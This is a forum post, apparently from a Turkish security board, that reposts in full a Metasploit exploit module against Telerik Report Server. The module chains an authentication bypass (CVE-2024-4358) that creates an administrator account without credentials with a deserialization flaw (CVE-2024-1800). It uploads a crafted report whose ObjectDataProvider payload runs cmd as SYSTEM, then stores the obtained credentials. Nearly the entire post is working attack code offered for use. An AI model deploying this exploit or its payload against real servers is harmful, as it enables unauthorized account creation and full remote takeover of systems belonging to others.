Hoşgeldin Misafir

Telerik Report Server Authentication Bypass / Remote Code Execution Exploit

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
 
require 'rex/zip'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',
        'Description' => %q{
          This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability
          (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.
          The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.
          The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a
          new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an
          OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account
          because users are unable to delete themselves.
        },
        'Author' => [
          'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up
          'Soroush Dalili', # CVE-2024-1800 exploitation assistance
          'Unknown', # CVE-2024-1800 discovery
          'Spencer McIntyre' # MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130
          [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305
          [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]
        ],
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 83
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-06-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
          'RelatedModules' => [ check_module ]
        }
      )
    )
 
    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
      OptString.new('USERNAME', [false, 'Username for the new account', '']),
      OptString.new('PASSWORD', [false, 'Password for the new account', ''])
    ])
    deregister_options('CheckModule')
  end
 
  def check_module
    'auxiliary/scanner/http/telerik_report_server_auth_bypass'
  end
 
  def check_options
    { 'ACTION' => 'CHECK' }
  end
 
  def check
    check_code = super
 
    if check_code == CheckCode::Appears
      # The auth bypass affects later versions than the RCE, so just filter those out
      version = check_code.details[:version]
      if version > Rex::Version.new('10.0.24.130')
        return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)
      end
    end
 
    check_code
  end
 
  def username
    @username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
  end
 
  def password
    @password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']
  end
 
  def create_account?
    # unless the user specifies a username, use CVE-2024-4358 to create an account for them.
    datastore['USERNAME'].blank?
  end
 
  def create_account!
    # create a new account by exploiting CVE-2024-4358
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Startup/Register'),
      'vars_post' => {
        'Username' => username,
        'Password' => password,
        'ConfirmPassword' => password,
        'Email' => Faker::Internet.email(name: username),
        'FirstName' => Faker::Name.first_name,
        'LastName' => Faker::Name.last_name
      }
    )
    fail_with(Failure::Unreachable, 'No response received') if res.nil?
    fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')
  end
 
  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Token'),
      'vars_post' => {
        'grant_type' => 'password',
        'username' => username,
        'password' => password
      }
    )
 
    fail_with(Failure::Unreachable, 'No response received') if res.nil?
    fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')
    fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200
 
    access_token = res.get_json_document['access_token']
    fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?
 
    print_good("Successfully authenticated as #{username}")
    report_creds(username, password)
    access_token
  end
 
  def build_trdp
    zip = Rex::Zip::Archive.new
    zip.add_file(
      '[Content_Types].xml',
      Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)
        <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
          <Default Extension="xml" ContentType="application/zip" />
        </Types>
      XML
    )
    zip.add_file(
      'definition.xml',
      Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
        <Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">
          <Items>
            <ResourceDictionary
                xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                xmlns:System="clr-namespace:System;assembly:mscorlib"
                xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
              >
              <ODP:ObjectDataProvider MethodName="Start" >
                <ObjectInstance>
                  <Diag:Process>
                    <StartInfo>
                      <Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>
                    </StartInfo>
                  </Diag:Process>
                </ObjectInstance>
              </ODP:ObjectDataProvider>
            </ResourceDictionary>
          </Items>
        </Report>
      XML
    )
    zip.pack
  end
 
  def send_request_api(resource, method: nil, data: nil)
    if method.nil?
      method = data.nil? ? 'GET' : 'POST'
    end
 
    res = send_request_cgi(
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'api', resource),
      'headers' => {
        'Authorization' => "Bearer #{@access_token}"
      },
      'ctype' => 'application/json',
      'data' => data.nil? ? nil : data.to_json
    )
    fail_with(Failure::Unreachable, 'No API response received') if res.nil?
    fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200
 
    return nil if res.body.blank?
 
    fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')
 
    res.get_json_document
  end
 
  def exploit
    if create_account?
      print_status('Creating a new administrator account using CVE-2024-4358')
      create_account!
      print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")
    end
 
    @access_token = login
 
    categories = send_request_api('reportserver/categories')
 
    report_name = rand_text_alphanumeric(10)
    category = categories.sample
    fail_with(Failure::Unknown, 'A random category could not be selected') unless category
 
    print_status("Using category: #{category['Name']}")
 
    send_request_api(
      'reportserver/report',
      data: {
        'reportName' => report_name,
        'categoryName' => category['Name'],
        'description' => nil,
        'reportContent' => Rex::Text.encode_base64(build_trdp),
        'extension' => '.trdp'
      }
    )
    vprint_status("Created report: #{report_name}")
 
    res_json = send_request_api('reportserver/reports')
    @report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }
 
    res_json = send_request_api(
      'reports/clients',
      data: {
        'timeStamp' => nil
      }
    )
 
    client_id = res_json['clientId']
    fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?
 
    begin
      send_request_api(
        "reports/clients/#{client_id}/parameters",
        data: {
          'report' => "NAME/#{category['Name']}/#{report_name}/",
          'parameterValues' => {}
        }
      )
    rescue Msf::Exploit::Failed => e
      raise e unless fail_reason == Failure::UnexpectedReply
 
      print_good('The server responded with an error indicating that the payload was executed')
      self.fail_reason = Failure::None
    end
  end
 
  def cleanup
    return unless @report && @access_token
 
    print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")
    send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')
  end
 
  def report_creds(user, pass)
    credential_data = {
      module_fullname: fullname,
      username: user,
      private_data: pass,
      private_type: :password,
      workspace_id: myworkspace_id,
      last_attempted_at: Time.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }.merge(service_details)
 
    create_credential_and_login(credential_data)
  end
end
 
#  THS [2024-06-24]  #